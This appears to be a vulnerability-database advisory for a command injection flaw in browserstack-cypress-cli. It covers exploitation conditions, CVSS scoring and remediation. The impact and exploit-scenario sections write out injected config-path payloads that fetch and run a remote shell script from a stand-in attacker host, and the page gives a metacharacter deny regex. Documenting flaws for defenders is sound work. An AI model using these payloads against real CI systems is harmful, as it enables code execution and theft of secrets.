Skip to main content

browserstack-cypress-cli CVE-2026-48723

HIGH
OS Command Injection (CWE-78)
2026-06-15 GitHub_M
7.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Submit PR with malicious browserstack.json
  2. Delivery
    CI checks out attacker-controlled config
  3. Exploit
    Developer or runner invokes browserstack-cypress
  4. Install
    loadJsFile interpolates path into execSync
  5. C2
    Shell parses injected `;`/`&`/backtick payload
  6. Execute
    Arbitrary commands run as CI user
  7. Impact
    Exfiltrate BrowserStack and repo secrets

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to control the cypress_config_file / cypress_config_filepath value passed to browserstack-cypress-cli (typically via browserstack.json or a --config-file CLI argument), and a legitimate user or CI job must then invoke the CLI against that config (CVSS UI:R). No BrowserStack authentication or special privilege is needed on the attacker side (PR:N) because the injection happens entirely in the victim's local Node.js process before any remote call. The flaw is in the default code path of loadJsFile()/convertTsConfig() - no non-default feature flag is required - but the attack vector is local (AV:L): there is no network listener, so realistic delivery is via supply-chain channels such as a malicious PR modifying browserstack.json, a poisoned shared CI template, or a repo containing a crafted config file. Platform is not a limiter: separate POSIX (";cmd;") and Windows ("&cmd&") injection branches both existed pre-patch.

Impact

The CVSS 3.1 vector AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) reflects the realistic threat model: this is not network-exploitable - an attacker must supply or influence the cypress_config_file path that a CI runner or developer machine consumes (e.g., a malicious config in a PR, repo, or shared CI artifact), and the victim must then invoke the CLI (UI:R). When that happens, execution is fully reliable (AC:L) and gives full CIA impact in the CI/developer context, which often holds source-repo, cloud, and BrowserStack credentials - a strong supply-chain pivot. No EPSS or KEV data was supplied and no public exploit identified at time of analysis; however the fix commit and unit tests publicly demonstrate working payload shapes (e.g., cypress.config";curl localhost:8000/shell.sh|sh;".js), so weaponization is trivial. The CVSS description mentions versions "prior to 1.36.4" but the same paragraph states the fix shipped in 1.36.6 - verify the actual fixed release against the vendor advisory before relying on either number.

Exploit ScenarioDerived

An attacker submits a pull request to a repository that uses browserstack-cypress-cli in CI, setting cypress_config_file in browserstack.json to cypress.config";curl attacker.tld/x.sh|sh;".js (the exact pattern in the project's new negative tests). When the CI job runs browserstack-cypress run, the interpolated execSync command breaks out of the quoted path and executes the attacker's shell, exfiltrating BrowserStack credentials and any CI secrets in scope. Equivalent payloads using backticks or $() work on POSIX, and & works on Windows where the code took the set NODE_PATH=...&& branch.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 15, 2026

OS command injection in BrowserStack's browserstack-cypress-cli versions prior to 1.36.6 allows attackers who control the cypress_config_filepath value to execute arbitrary shell commands in the context of the user running the CLI. The vulnerable loadJsFile() function in readCypressConfigUtil.js interpolated the path into a shell command executed via child_process.execSync(), letting embedded quote and semicolon characters break out of the quoted argument. No public exploit identified at time of analysis, though the upstream commit and added negative tests effectively document the exact payload pattern.

RemediationAI

Upstream fix available (commit 6dbf8f93); upgrade to the patched release published by BrowserStack - the advisory GHSA-fh4c-mffm-8xhf lists 1.36.6, while the CVE record references 1.36.4, so confirm against https://github.com/browserstack/browserstack-cypress-cli/security/advisories/GHSA-fh4c-mffm-8xhf and pin to whichever the vendor publishes. Until upgrade, treat browserstack.json and any externally supplied cypress_config_file value as untrusted: reject paths containing ; " $ | & ( ) { } \ (matching the upstream regex /[;"$|&(){}\\]/) before invoking the CLI, and avoid running browserstack-cypress on configs sourced from untrusted PRs or shared artifacts. Side effects are minimal - legitimate config paths almost never contain those metacharacters, though paths with spaces remain valid since space is not in the deny set. Do not attempt to mitigate by quoting/escaping in shell wrappers; the underlying execSync still interprets metacharacters and the fix correctly switches to execFileSync to eliminate the shell entirely.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) in a Node.js CLI distributed on npm. In bin/helpers/readCypressConfigUtil.js, the prior code built a command string with template literals - NODE_PATH="..." node "..." "${cypress_config_filepath}" on POSIX and a set NODE_PATH=...&& variant on Windows - and handed it to child_process.execSync, which always spawns a shell. Because the user-controlled cypress_config_filepath was only wrapped in double quotes with no escaping, characters like ", ;, &, |, backtick, and $() allow the attacker to terminate the quoted argument and append arbitrary shell syntax. The CPE cpe:2.3:a:browserstack:browserstack-cypress-cli:*:*:* covers all versions of the npm package up to the fix. The patch (commit 6dbf8f93) replaces execSync with execFileSync (which spawns node directly with no shell), passes NODE_PATH via the env option, and adds a defense-in-depth validateFilePath() that rejects any path containing ;"$|&(){}\`.

Know when Browserstack Cypress Cli gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 7.8 HIGH

Local CLI ingesting an attacker-supplied config file (AV:L, PR:N), reliable injection (AC:L), victim must run the CLI (UI:R), full RCE in user context gives C/I/A:H.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

The browserstack-cypress-cli is BrowserStack's CLI which allows users to run Cypress tests on BrowserStack. Versions prior to 1.36.4 are vulnerable to OS command injection via the cypress_config_file configuration parameter. In readCypressConfigUtil.js, the loadJsFile() function constructs a shell command by interpolating the user-controlled cypress_config_filepath value into a template literal, then executes it via child_process.execSync(). Shell metacharacters in the config path (specifically " and ;) allow breaking out of the quoted argument and injecting arbitrary commands. This issue has been fixed in version 1.36.6.

Executive ViewAI

Why It Matters

BrowserStack's browserstack-cypress-cli versions prior to 1.36.6 contain a command injection vulnerability allowing arbitrary code execution on systems running the tool. Organizations using this product face direct risk to developer machines and CI/CD pipelines, requiring immediate remediation to prevent system compromise and potential supply chain attacks.

Business Impact: High
Compensating Controls

Apply vendor patch (upgrade to browserstack-cypress-cli version 1.36.6 or later).

Threat Intelligence Overview

EPSS Score
0.5%
Top 59% exploitable
Social Media
3
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +39
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:a:browserstack:browserstack-cypress-cli:*:*:*:*:*:*:*:*

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy